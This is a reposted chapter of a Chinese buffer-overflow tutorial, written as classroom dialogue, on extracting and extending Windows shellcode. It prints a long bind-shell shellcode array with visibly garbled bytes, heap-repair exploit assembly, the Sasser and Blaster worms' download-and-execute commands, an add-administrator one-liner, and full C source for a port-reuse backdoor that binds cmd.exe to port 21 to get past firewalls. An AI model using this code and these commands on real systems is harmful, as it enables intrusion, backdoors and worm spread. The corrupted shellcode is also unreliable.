6.2 ShellCode的高效提取技巧

 

轉自  《Q版緩衝區溢出教程.doc》

http://download.csdn.net/detail/xiancaonima/2589152

本文最後有本doc文檔的目錄。

 

 

6.2 ShellCode的高效提取技巧

“剛纔那個代碼你想清楚了嗎?聰明才子!”課間時小倩問宇強。
“唉,別這麼說嘛,我會不好意思的!”
小倩:“我倒~”
“我跟蹤了一下,那個程序的確就是按照老師講的思路,先找Kernel32.dll的基址,然後用HASH值,在相關dll的引出表中找每個函數的地址。”
“哦,你還厲害嘛!”
“呵呵!剩下的就沒什麼了,就是我們一般ShellCode的編寫方法。具體程序可以看看我整理出來的BindByHASH.cpp。理解時就像老師說的:關鍵理解思路!”
“哦,等會兒我看看。”
“上課了!”老師在臺上說道,大家趕緊坐好。
“大家覺得通用ShellCode怎麼樣?”
“哇!太厲害了,任何系統版本下都可以使用,這下我們輕鬆多了。”玉波滿意的說。
“呵呵,對大家有幫助就好。”老師笑道。
“通用方法是有了,但是老師,還有更累人的事情啊!還要提取ShellCode呢!”玉波再次問道,“這麼長的代碼,讓我們一個個抄,太不厚道了吧?”
大家都笑了,老師說,“好好好……我們看看如何簡單的提取ShellCode吧!”


6.2.1 彙編內存提取

“還是用一個實際例子吧!”老師說,“我們把剛纔那個監聽後門的通用匯編代碼提取成ShellCode。”
“好吧!如果那個程序一句句的對應着抄下來會死人的,好多啊!”
“呵呵,今天我們用個簡單的方法吧!在內存裏直接拷貝!”
“嗯?如何直接拷貝?”
“我們用VC嵌入彙編,然後按F10進入調試狀態,這幾步大家都輕車熟路了吧!在真正單步進入我們嵌入的彙編代碼時,用前面編寫彙編代碼時教過的方法調出內存窗口,在內存窗口中輸入 eip ,內存窗口就會顯示從eip開始的數據。”
“而此時從eip開始的數據,就是我們想要的ShellCode代碼,如圖6-12。”



“哦?ShellCode開始時是55 83 EC 64,內存窗口裏也是55 83 EC 64,真的一樣也!”
“那當然,數據又不會從天上掉下來,都是在內存裏面的,”老師說,“接下來,我們就可以從內存窗口裏拷貝、粘貼。稍微整理一下,然後把空格替換成‘\x’,就輕鬆得到ShellCode了!”


unsigned char ShellCode[] =
\x55\x83\xEC\x64\x8B\xEC\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B
\x70\x1C\xAD\x8B\x78\x08\x8B\x47\x3C\x8B\x54\x07\x78\x03\xD7\x8B
\x4A\x18\x8B\x5A\x20\x03\xDF\x49\x8B\x34\x8B\x03\xF7\xB8\x47\x65
\x74\x50\x39\x06\x75\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7
\x8B\x5A\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B\x04
\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79\x41\x68\x4C\x69
\x62\x72\x68\x4C\x6F\x61\x64\x54\x57\xFF\x55\x4C\x89\x45\x50\x68
v70\x65\x00\x00\x68\x74\x65\x50\x69\x68\x43\x72\x65\x61\x54\x57
\xFF\x55\x4C\x89\x45\x04\x68\x73\x41\x00\x00\x68\x6F\x63\x65\x73
\x68\x74\x65\x50\x72\x68\x43\x72\x65\x61\x54\x57\xFF\x55\x4C\x89
\x45\x08\x6A\x65\x68\x64\x50\x69\x70\x68\x4E\x61\x6D\x65\x68\x50
\x65\x65\x6B\x54\x57\xFF\x55\x4C\x89\x45\x0C\x6A\x65\x68\x65\x46
\x69\x6C\x68\x57\x72\x69\x74\x54\x57\xFF\x55\x4C\x89\x45\x10\x6A\x\x
\x00\x68\x46\x69\x6C\x65\x68\x52\x65\x61\x64\x54\x57\xFF\x55\x4C\x\x
\x89\x45\x14\x68\x65\x73\x73\x00\x68\x50\x72\x6F\x63\x68\x45\x78\x\x
\x69\x74\x54\x57\xFF\x55\x4C\x89\x45\x18\x68\x33\x32\x00\x00\x68\x\x
\x57\x73\x32\x5F\x54\xFF\x55\x50\x8B\xF8\x68\x75\x70\x00\x00\x68\x\x
\x74\x61\x72\x74\x68\x57\x53\x41\x53\x54\x57\xFF\x55\x4C\x89\x45\x\x
\x1C\x68\x65\x74\x00\x00\x68\x73\x6F\x63\x6B\x54\x57\xFF\x55\x4C\x\x
\x89\x45\x20\x6A\x00\x68\x62\x69\x6E\x64\x54\x57\xFF\x55\x4C\x89\x\x
v45\x24\x68\x65\x6E\x00\x00\x68\x6C\x69\x73\x74\x54\x57\xFF\x55\x\x
\x4C\x89\x45\x28\x68\x70\x74\x00\x00\x68\x61\x63\x63\x65\x54\x57\x\x
\xFF\x55\x4C\x89\x45\x2C\x6A\x00\x68\x73\x65\x6E\x64\x54\x57\xFF\x\x
\x55\x4C\x89\x45\x30\x6A\x00\x68\x72\x65\x63\x76\x54\x57\xFF\x55\x\x
\x4C\x89\x45\x34\xB8\x00\x00\x00\x00\xC6\x45\x38\x00\xC6\x45\x3C\x\x
\x00\xC6\x45\x40\x00\xC6\x45\x44\x00\xC6\x45\x48\x00\x81\xEC\x90\x\x
v01\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x1C\x6A\x06\x6A\x01\x\x
\x6A\x02\xFF\x55\x20\x8B\xD8\x33\xFF\x57\x57\xB8\x02\x00\x03\x3E\x\x
\x50\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x24\x47\x47\x57\x53\xFF\x55\x\x
\x28\x6A\x10\x8D\x3C\x24\x57\x56\x53\xFF\x55\x2C\x8B\xD8\x33\xFF\x
\x47\x57\x33\xFF\x57\x6A\x0C\x8B\xF4\x57\x56\x8D\x45\x3C\x50\x8D\x\x
\x45\x38\x50\xFF\x55\x04\x57\x56\x8D\x45\x44\x50\x8D\x45\x40\x50\x\x
\xFF\x55\x04\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68\x80\x\x
\x00\x00\x00\x59\xF3\xAB\x8D\x3C\x24\xB8\x01\x01\x00\x00\x89\x47\x\x
v2C\x8B\x45\x40\x89\x47\x38\x8B\x45\x3C\x89\x47\x3C\x8B\x45\x3C\x
\x89\x47\x40\xB8\x63\x6D\x64\x00\x89\x47\x64\x8D\x44\x24\x44\x50\x\x
\x57\x51\x51\x51\x41\x51\x49\x51\x51\x8D\x47\x64\x50\x51\xFF\x55\x\x
\x08\x81\xEC\x00\x04\x00\x00\x8B\xF4\x33\xC9\x51\x51\x8D\x7D\x48\x\x
\x57\xB8\x00\x04\x00\x00\x50\x56\x8B\x45\x38\x50\xFF\x55\x0C\x8B\x
\x07\x85\xC0\x74\x19\x33\xC9\x51\x57\xFF\x37\x56\xFF\x75\x38\xFF\x
\x55\x14\x33\xC9\x51\xFF\x37\x56\x53\xFF\x55\x30\xEB\xC3\x33\xC9\x\x
\x51\xB8\x00\x04\x00\x00\x50\x56\x53\xFF\x55\x34\x89\x07\x33\xC9\x
\x51\x57\xFF\x37\x56\xFF\x75\x44\xFF\x55\x10\xEB\xA4


“用教過的方法測試一下,輕鬆成功!如圖6-13。”




“哇!這麼好的方法都不早說!”同學們叫了起來。“我們以前抄的好辛苦啊!”
“呵呵!我是爲了大家好,先真正瞭解系統流程後,再用提高效率的方法。我們再來看一種方法——從EXE文件中提取ShellCode。”


6.2.2 可執行文件提取

“我們得到彙編的程序並測試成功後,就會生成EXE可執行文件。”老師說道,“如果是調試版,會在Debug目錄下;如果是發表版,會在Release目錄下。如圖6-14。”


“我們用任意一款16進制編輯器打開EXE文件。我這裏用的是WinHex(光盤有收錄),大家可以看到,EXE的開始是4D 5A,就是MZ標誌;在C0那排有一個PE標誌,如圖6-15。”



“我們在EXE文件數據中查找,找到ShellCode的開頭,如這裏是55 83 EC 64,如圖6-16。”




“找到ShellCode的開始數據之後,我們將其複製,粘貼出來,也可輕鬆完成ShellCode的提取了。”
“哦!真是好方法啊。但定位ShellCode的開始和結束有點麻煩啊!”
“我們可以加入一些標誌,比如連續的幾個‘0x90’(即NOP)來表示ShellCode的開始和結束。方法是人想出來的,路是人走出來的。”
“好,我們再來看一個更經典的方法——直接利用C語言寫程序,然後自動提取打印出ShellCode來。”


6.2.3 C語言直接提取

“直接用C語言來寫?”

“嗯, 說全部用C語言來寫,也不太準確。”老師說,“應該說是ShellCode部分由彙編和C語言混合編程。彙編部分主要是完成動態定位函數地址,而C語言部 分是完成程序的功能流程。整個程序的本質,就是讓編譯器爲我們生成二進制代碼,然後在運行時編碼、打印,這樣就完成了一個模板。”

“大家聯想一下內存提取和可執行文件提取,就會發現這三種提取方法都是類似的——都是直接把二進制代碼拷貝出來。”

“哦!”
“給大家解釋一下混合編程的結構以及流程思路吧!C語言直接寫ShellCode的思路,最早也可從yuange文章中見到,而hume將其發揚光大。”
“混合編程裏有4個函數:ShellCodes函數、DecryptSc函數、PrintSc函數和main函數。”
“在ShellCodes函數裏面,生成完成功能的ShellCode,採用的是彙編和C語言混合編程。”老師說道,“首先是彙編部分,就是動態獲得每個要使用函數的地址;然後用C語言來直接調用函數,完成想要的功能。”

“DecryptSc函數,是生成解碼代碼decode的部分;”
“PrintSc函數,是直接把合好的ShellCode按16進制數的形式打印出來。”
“而main函數,就是把各個部分組織起來,以自動化的生成ShellCode並打印出來。”
“具 體來說,main函數裏面先定義要查找的函數名和所在的模塊;然後保存DecryptSc函數生成的decode部分;再把ShellCodes函數生成 的代碼進行編碼,粘貼在decode後面;最後調用PrintSc函數,把最終完成的ShellCode打印出來。其流程如圖6-17。”



“其他幾個函數都好理解,關鍵就是ShellCodes函數代碼部分的生成。”
“ShellCodes函數分爲兩大部分,動態獲得函數地址就不說了,我們剛纔學了幾種方法,都是可以的;而高級語言調用函數的部分,hume採用的是枚舉方法執行。”
“函數名稱數組和枚舉數組對應,增加API時只需在相應的.dll後增加函數名稱項,並同步更新Enum的索引。調用API時直接使用 API[_APINAME](param,....param); 即可。像這樣:”


API[_MessageBeep](0x10);
API[_MessageBoxA](0,testAddr,0,0x40);
API[_ExitProcess](0);


“由此可見,用C語言編寫ShellCode需要對代碼生成及C編譯器行爲有更多的瞭解。有些地方處理起來也不是很省力,不過一旦模板寫成,以後寫起來或寫複雜的ShellCode時,就省力多了。”

“我們來測試一下吧!”大家躍躍欲試。

“程序大家可參看GetShellCodeByC.cpp(光盤有收錄)。注意了,我們需要對工程正確的配置才能達到效果。”老師提醒道,“我們要選擇release版編譯,並去掉優化選項。”

“優化?如何去掉?”
“打開菜單下的‘工程→設置’對話框,在‘C/C++’選項卡下刪除‘/02’項,如圖6-18。”



“點OK,設置完畢。我們運行,就可彈出測試對話框,並且得到打印好的ShellCode。如圖6-19。”



“哇!好方便啊!”
“是啊!大家下來自己測試一下,對應着改變API函數的名稱和枚舉值,測試完成一下其他的功能。”老師說道。
“好哩!真是太有趣了!”
“大家可要注意整理文檔,記下方法。”老師說道,“好記性不如爛筆頭,多學多記總有好處的。”

6.3 ShellCode的高級功能

“通用性可以了,提取也方便了。我們現在想給ShellCode添加什麼功能就可添加什麼功能了。哈哈,太爽了!”玉波說道。
“我們還可在ShellCode裏面監聽、嗅探、記錄密碼呢!”古風說。
“我們可以寫一個萬能的ShellCode啦!”宇強也附和着。
“當然可以,但功能越強,代碼就越長。同ShellCode需要儘量短小是矛盾的。”老師比喻道,“就如女生們都想瘦,但穿了太多的衣服,就怎麼也瘦不下去了。”
“哦!怪不得有‘要風度不要溫度’一說啊!”宇強說這句話時轉向旁邊的小倩。
“啥嘛!認真聽課!”
“但有一些功能是ShellCode裏面應該考慮到的,我們討論幾個常用的技巧吧!”


6.3.1 恢復堆鏈表

“第一個技巧就是恢復堆鏈表。”
“我們在堆溢出利用時說過,”老師說道,“需要把堆鏈表進行恢復,才能運行一些ShellCode。”
“恢復的思路就是:找到系統中堆結構的開始地方,把覆蓋後的堆塊還給系統。”
“在這裏,我們沒有必要詳細講解Windows的堆結構了。直接給出恢復堆鏈表處理代碼和解釋吧!”


//XP edii+74是下一堆塊管理結構,如果是Win2000,就是esi+0x4C
mov edx, dword ptr[edi+74]
// 把ebx賦爲0x18
push 0x18
pop ebx
// 得到TEB,fs:[18]和fs:[0]都是指向TEB的
mov eax, dword ptr fs:[ebx]
//從TEB+0x30得到PEB
mov eax, dword ptr[eax+0x30]
// PEB+0x18爲默認堆地址指針
mov eax, dword ptr[eax+0x18]
//把TotalFreeSize的值給堆管理結構的第一部分size
add al,0x28
mov si, word ptr[eax]
mov word ptr[edx],si
//把堆管理結構第二部分sizeprevious size設成 8
inc edx
inc edx
mov byte ptr[edx],0x08
//設置堆管理結構的其他部分
inc edx
mov si, word ptr[edx]
xor word ptr[edx],si
inc edx
inc edx
mov byte ptr[edx],0x14
inc edx
mov si, word ptr[edx]
xor word ptr[edx],si
inc edx
inc edx

// 堆基址+0x178的地方爲FreeLists結構
add ax,0x150
// 讓FreeLists[0].Flink和FreeLists[0].Blink都指向堆管理結構
mov dword ptr[eax],edx
mov dword ptr[eax+4],edx
//讓堆管理結構也指向FreeLists,完成堆的恢復
mov dword ptr[edx],eax
mov dword ptr[edx+4],eax


“至於Windows堆結構的講解,以後有機會我們再講吧!”老師說道,“現在我們直接拿來用。在一般的ShellCode前加上這段代碼,就可恢復覆蓋掉的堆結構。”


6.3.2 TTP和FTP客戶端——衝擊波/震盪波傳播的實現

“而第二個技巧,就是考慮蠕蟲病毒們的傳播技巧。”
“Nimda、衝擊波以及震盪波蠕蟲,都曾給網絡帶來巨大的破壞,其傳播速度之快,除了很多機器系統本身具有漏洞之外,還有個重要的原因:蠕蟲具有很強的在網絡上自我複製和傳輸的能力。”
大家都認真的聽着。
“我們這裏只分析它們的傳播方法,不教大家如何寫蠕蟲病毒!”老師強調說,“讓大家知道怎樣更好的防範。”
“嗯,知道了,老師接着說吧!”
“Nimda和衝擊波在網絡上的自我複製和傳輸,是利用TFTP來實現的;而震盪波,則是進行了改進,用FTP實現的。”
“讓 我們來看看TFTP是如何工作的。以下載文件爲例,在開始工作時,客戶發送一個讀請求給服務器,如果請求的文件能被讀取,TFTP服務器就返回一個塊編號 爲1的數據分組;TFTP客戶發送一個塊編號爲1的ACK;TFTP服務器隨後發送塊編號爲2的數據;TFTP客戶發回塊編號爲2的ACK。重複這個過 程,直至這個文件傳送完畢。”


小知識:TFTP是基於UDP的,其數據報有四種類型

第一種:客戶發出的是讀或寫請求,含有文件名和模式。操作碼是1或2。
第二種:服務器發送的數據,含有塊編號和512字節的數據。操作碼是3。
第三種:客戶發的迴應,含有收到的塊編號。操作碼是4。
第四種:錯誤信息,含有差錯碼和差錯信息。操作碼是5。
其類型如圖6-20,我們可據此編寫出TFTP的服務器。


“好 了,說了這麼多,在Windows中,我們利用現成的TFTP服務程序來實現上傳和下載文件是很簡單的。TFTPD32.exe是個很好的TFTP服務 器,由Ph.Jounin編寫。直接運行TFTPD32.exe,就可建立一個TFTP服務器。可以選擇要綁定的IP和目錄文件夾,其運行界面如圖 6-21。”



“而 TFTP的客戶端是Windows自帶的。在命令行下直接運行 TFTP –i IP Get (Put) FileName 就可在本機執行TFTP客戶端,以供和服務器傳輸文件。如圖6-22,在IP爲192.168.1.166的TFTP服務器上下載了一個名爲ww.txt 的文件。”



“這招常被黑客使用:他們在自己的主機上建一個TFTP服務器,進入別人的主機後,直接輸 tftp –i 自己ip Get (Put) FileName 就可實現文件上傳/下載,如下載自己感興趣的東東,或上傳一個木馬之類的。”
“然而在Nimda和衝擊波等病毒中,它們用的是誰的TFTP服務器呢?肯定不會是用TFTPD32建立的服務器吧!那是誰建的服務器呢?”同學們問道。
“嗯,答案就是:病毒自己!在病毒程序中,自己實現了一個TFTP服務器!”
“哦?”
“衝擊波運行時,分成了兩個線程。”
“其中一個線程功能是:在本機綁定並監聽69端口,建立一個TFTP服務器等待別的機器來連接。如果有其他主機連接這個服務器,則會把msblast.exe文件傳送過去。”
“另 一個就是攻擊線程。它向其他主機的135端口發送攻擊代碼——ShellCode,如果其他主機有系統漏洞,就會執行攻擊代碼。而它的攻擊代碼是精心構造 的,所完成的功能就是執行 TFTP -i ip GET msblast.exe 去下載衝擊波程序,下載完畢後並且執行。”
“哦,衝擊波的ShellCode就只是 TFTP -i ip GET msblast.exe 這句話啊?那和我們的ShellCode比起來,差遠了也!”古風說道。
“呵呵!是的,通過改ShellCode和覆蓋地址,可使它的功能更通用、強大。”老師說道,“我們再來看看震盪波,它是通過FTP來傳播的。”
“FTP 和TFTP相比較,功能更加完善,不僅可完成上傳和下載文件的功能,還可列出目錄,可進行用戶名和密碼的認證,並且可對文件傳送與存儲方式進行選擇等。在 Windows下,有許多可以建立FTP服務器的軟件,比如Serv_U、WP_FTP等,還可安裝IIS服務來建立FTP服務器等。”
“震盪波運行時,也是分成了多個線程。其中一個是在本機的5554端口上,產生一個小型的FTP服務器!震盪波就利用這個服務器來向其他有漏洞的主機發送蠕蟲本身文件!”
“接 下來,震盪波向其他主機發送攻擊代碼,如果對方主機有漏洞,則會在9996端口綁定一個Shell,並且會執行以下命令: echo off&echo open [infecting machine's IP] 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&echo get [rand]_up.exe>>cmd.ftp&echo bye>>cmd.ftp&echo on&ftp -s:cmd.ftp&[rand]i_up.exe&echo off&del cmd.ftp&echo on ”
“我 對上面的命令解釋一下。大家知道,‘&’前後的命令在DOS下會依次執行。比如 net use ww /add & net localgroup administrators ww /add ,就會先添加一個名爲‘ww’的用戶,然後再將‘ww’加入管理員組。”
“這裏震盪波先使用重定向符號‘>>’向cmd.ftp文件中輸入:”


open [infecting machine's IP] 5554 //連接5554端口,即進入小型FTP服務器
anonymous //用戶名,爲匿名
user //密碼
bin //二進制模式
get [rand]_up //接收震盪波蠕蟲的文件!!
bye //退出FTP服務器


“然後再用經典的:”

★ftp -s:cmd.ftp //即用cmd.ftp內的參數,執行ftp,完成下載★

“最後執行震盪波蠕蟲文件和刪除cmd.ftp:”

★[rand]i_up.exe del cmd.ftp★

“這樣,就完成了震盪波從一臺主機向另一臺主機的傳播!”
“哦,原來是這樣啊!還是比較簡單啊!”
“呵呵,大家經過這半期的學習,應該能輕鬆寫出比他們更好的功能吧?”
“嗯,是啊!原來傳說中的衝擊波/震盪波病毒也沒多了不起啊!”古風自信的說。
“老師,你說他們寫衝擊波/震盪波幹嘛?只是傳播一下麼?對作者什麼用處也沒有?”玉波問道。
“他們只是想表達一種表現欲!希望別人佩服自己的能力。”老師說道,“大家可千萬不要這樣啊!這可是違法國家法律的行爲。”


6.3.3 突破防火牆

“而第三個技巧,就是考慮如何突破防火牆和一些限制環境了!”
“我們的反連ShellCode不是可以起到突破防火牆的作用嗎?”玉波問道。如圖6-23。


“是的,但那樣需要我們攻擊方在公網上,有一個公網的IP地址。如果攻擊方在內網,那目標機就反連不上來,這種方式就行不通了,如圖6-24。”


“哇!是啊!這種情況下如何突破呢?”宇強也迷糊了。
“呵呵!現在我們既不能從攻擊機發起連接,因爲會被目標機的防火牆阻斷;也不能從目標機發起連接,因爲到不了攻擊機的內網。”

“啊!豈不是路都堵死了?”小倩說道。
“大家不要在一條路上想死了,要換一個思路。”老師說道。“我們既然可以給遠程機器發送攻擊代碼,那麼它們之間應該是連接的!而遠程機器間的連接通信一般都是通過Socket來完成的。”

“哦!我們利用原來的連接?”宇強叫了出來。
“對,如果我們的ShellCode可以找到發送攻擊代碼的那條通路的Socket,就可直接使用以前那個連接Socket,不用再新建端口了!如圖-25。”


“哦!很巧妙啊!”臺下感嘆道。
“另外,服務器總要開些端口,我們也可把Shell的端口開在防火牆打開的端口上。”老師說,“通過端口複用來突破防火牆!”

“比如,對方開放了FTP服務,那麼防火牆就需要打開21端口。我們的ShellCode就可複用目標機的21端口,在對方的21端口上綁定一個Shell;而攻擊機通過連接21端口來獲得Shell。如圖6-26。”


“我們來看看複用端口的具體實現吧!程序如下:”


/*
綁定指定21端口,綁定cmd.exe
*/
#include <winsock2.h>
#include <string.h>
#include <stdio.h>
#include <tchar.h>
#include <process.h>
#include <io.h>
#pragma comment(lib, "ws2_32")

int main(int argc, char **argv)
{

//啓動winsock
WSAData wsa;
WORD wVersion;
int ret;
wVersion = MAKEWORD(2, 0);
if(WSAStartup(wVersion, &wsa) != 0)
{
return -1;
}
//下面獲取本機IP地址
char szHostName[128];
char *pszIp;
HOSTENT *pHost = NULL;
if(gethostname(szHostName, 128)==0)
{
pHost = gethostbyname(szHostName);
if(pHost != NULL)
{
pszIp = inet_ntoa( *(in_addr*)pHost->h_addr_list[0] );
}
else
{
printf("get host ip fail!\n");
return -1;
}
}
else
{
printf("can't find host name!\n");
return -1;
}
//創建服務端套接字
SOCKET ss;
if((ss = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
//設置套接字選項,SO_REUSEADDR選項就是可以實現端口重綁定的
//但如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功
BOOL val = TRUE;
if(setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//重新綁定,這裏重新綁定21端口
SOCKADDR_IN saddr;
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr(pszIp);
saddr.sin_port = htons(21);
if(bind(ss, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{
ret = GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(ss, 2);


//等待連接
SOCKET clientFD;
SOCKADDR_IN caddr;
int nCaddrSzie;
nCaddrSzie = sizeof(caddr);
clientFD = accept(ss, (struct sockaddr *)&caddr,&nCaddrSzie);

//連接之後,就和雙管道後門完全一樣了
char Buff[1024];
SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
//建立匿名管道1
pipeattr1.nLength = 12;
pipeattr1.lpSecurityDescriptor = 0;
pipeattr1.bInheritHandle = true;
CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);

//建立匿名管道2
pipeattr2.nLength = 12;
pipeattr2.lpSecurityDescriptor = 0;
pipeattr2.bInheritHandle = true;
CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//建立進程
ret = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

/*
解釋一下,這段代碼創建了一個cmd.exe,把cmd.exe的標準輸出和標準錯誤輸出用第一個管道的寫句柄替換;cmd.exe的標準輸入用第二個管道的讀句柄替換。如下:
遠程主機←入←管道1輸出←管道1輸入←輸出(cmd.exe子進程)
遠程主機→輸出→管道2輸入→管道2輸出→輸入(cmd.exe子進程)
*/
unsigned long lBytesRead;
while(1)
{
//檢查管道1,即CMD進程是否有輸出
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead)
{
//管道1有輸出,讀出結果發給遠程客戶機
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}
else
{
//否則,接收遠程客戶機的命令
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
//將命令寫入管道2,即傳給CMD進程
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}

WSACleanup();
return 0;
}


“其實,關鍵就是下面這句:”
Setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0
“它把套接字‘ss’設爲重用,這樣就可重新綁定端口了。”
古風說道,“聽起來很有意思和用處也!”
“嗯,這門課只懂得原理是遠遠不夠的,實踐纔是關鍵。大家下去也親自測試一下,並考慮提取成ShellCode。”
“好哩!用匯編和C語言直接提取都沒問題。”古風摩拳擦掌。
“下次課我們會繼續深入講解漏洞的發現和分析!”
“那些更是我們想知道的東東!好啊!”同學們都歡呼起來。
“今天的課就講到這裏。天氣有點冷,大家多注意身體。放學!”


課後解惑

Q:EXE文件裏提取出來的ShellCode是一個字節一個字節分開的,如何更高效的自動生成“\x01\x02\x03\x04”的形式呢?
A: 我們可採用替換的方式,把空格直接替換成“\x”;也可把字節粘貼在一個文件中,然後寫一個程序,把每個字節加上“\x”標誌後打印出來,完成規範化 ShellCode的生成。比如下面這個程序就可讀取shellcode.txt文本中的字符,然後生成規範的ShellCode數組:


#include<stdio.h>
int main()
{
FILE *fp;
fp = fopen("ww.txt", "r");

char shellcode[5];
int num = 0;
printf("\"");
while( fscanf(fp, "%s",shellcode) !=EOF )
{
num++;
printf("\\x%s",shellcode);
if(num % 16 == 0)
{
printf("\"\n\"");
}
}
printf("\"\n");
return 0;
}


Q:我們在C語言提取時,要在“工程”設置中去掉“/O2”選項,“/O2”是什麼意思?
A:“/O2”表示優化,達到最大化速度。


Q:能講一下其他的常見編譯選項嗎?
A:我們結合具體的設置來講吧!Release版下的設置如圖6-27。



在 它的設置選項中,包括/nologo /ML /W3 /GX /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Release/GetShellCodeByC.pch" /YX /Fo"Release/" /Fd"Release/" /FD /c
每一項的具體解釋如下:


/ML:與LIBC.LIB鏈接
/W3:設置警告等級,這裏是3
/GX[-]?:啓用C++異常處理
/D{=|#}:定義宏
/D "WIN32":定義WIN32,表明是WIN32程序;
/D "NDEBUG":沒有調試信息
/D "_CONSOLE":控制檯程序
/D "_MBCS":MBCS字集
/Fp:命名預編譯頭文件
/Fp"Release/GetShellCodeByC.pch":這裏預編譯頭文件爲GetShellCodeByC.pch
/YX[file]:自動的.PCH文件
/Fo:命名對象文件
/Fd[file]:命名.PDB文件


而Debug版的設置如圖6-28。



可 見選項包括:/nologo /MLd /W3 /Gm /GX /ZI /Od /D "WIN32" /D "_DEBUG" /D "_CONSOLE" /D "_MBCS" /Fp"Debug/GetShellCodeByC.pch" /YX /Fo"Debug/" /Fd"Debug/" /FD /GZ /c
和release版本的差別有:
/MLd:與LIBCD.LIB調試庫鏈接,LIBCD.LIB是調試版本
/Gm[-]:啓用最小重新生成
/ZI:啓用調試信息的“編輯並繼續”功能
/Od:禁用優化


Q:好像有人在命令行下編程,那是如何實現的?
A: 其實VC的本質是一個C/C++編譯器,而我們看到的界面,都是上層的東西。VC的編譯器程序是\VC98\Bin目錄下的cl.exe,我們可在DOS 環境下通過它來編譯程序。步驟如下:先運行同目錄下的VCVARS32.bat,設置環境變量;然後就可執行cl.exe,如 cl.exe ww.cpp ,就會生成ww.exe。如果有必要,還可加上那些編譯選項。


Q:防火牆的技術和實現原理是什麼?
A:防 火牆分企業級和個人防火牆兩種。企業級的防火牆,實現思路要簡單一點。一般的廠商都是利用公開源碼的Linux,重編譯內核,加上安全選項,裁減加固,再 做個用戶界面,就可作爲防火牆商品了。而Windows下的個人防火牆,反而還要麻煩一點,涉及到HOOK技術和底層驅動程序的開發。

Q:HASH聽起來很熟悉,有什麼用處呢?
A:HASH可用於高效查找,而且在數字簽名中發揮了重要作用。

 

 

 

 

 

///////////////////////////////////////////////////////////////////////////////////////////////////////////////

 

《Q版緩衝區溢出教程.doc》

 

目錄

寫在前面 2

目錄 4

前言 6

作者簡介 6

主要角色簡介 6

閱讀指南 6

第一章、Windows下堆棧溢出入門 8

1.1 夢,已經展開 8

1.2 啤酒和杯子――緩衝區溢出原理 8

1.3 神祕的Windows系統 10

1.4 ShellCode編寫簡介 17

1.5 窺豹一斑――本地緩衝區溢出簡單利用 21

1.6 小結——摘自小強的日記 28

1.7 首次實戰――FoxMail溢出漏洞編寫 29

1.8 牛刀小試――Printer溢出漏洞編寫 41

1.9 JMP /CALL EBX——另一種溢出利用方式 42

1.10 拾階而上——IDA/IDQ溢出漏洞編寫 55

課後解惑 58

第二章、Windows下ShellCode編寫初步 60

2.1 ShellCode是什麼? 60

2.2 簡單的例子——編寫控制檯窗口的ShellCode 63

2.3 ShellCode通用性的初步分析 78

2.4 彈出Windows對話框ShellCode的編寫 82

2.5 添加用戶ShellCode的編寫 88

課後解惑 98

第三章、後門的編寫和ShellCode的提取 100

3.1 預備知識 101

3.2 後門總體思路 121

3.3 Telnet後門的高級語言實現 125

3.4 生成ShellCode 136

3.5 進一步的探討 156

3.6 反連後門ShellCode的編寫 160

課後解惑 166

第四章 Windows下堆溢出利用編程 168

4.1 堆溢出初探 168

4.2 RtlAllcoateHeap的失誤 170

4.3 實例——Message堆溢出漏洞的利用 191

4.4 RtlFreeHeap的失誤 197

4.5 堆溢出的其他利用方式 204

4.6 實例——JPEG處理堆溢出漏洞的利用 208

課後解惑 215

第五章 ShellCode變形編碼大法 217

5.1 爲什麼要編碼 217

5.2 簡單的編碼——異或大法 221

5.3 簡便的變形——微調法 231

5.4 直接替換法 233

5.5 字符拆分法 239

5.6 內存搜索法 247

5.7 搜索實例——Serv_U漏洞的利用 249

5.8 “計算與你同行”—— Computing & Society 257

課後解惑 258

第六章 ShellCode編寫高級技術 260

6.1 通用ShellCode的編寫 260

6.2 ShellCode的高效提取技巧 285

6.3 ShellCode的高級功能 294

課後解惑 305

第七章、漏洞的發現、分析和利用 308

7.1 CCProxy 漏洞的分析 308

7.2 黑盒法探測漏洞和Python腳本 319

7.3 白盒法和IDA分析漏洞 333

尾聲 347

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章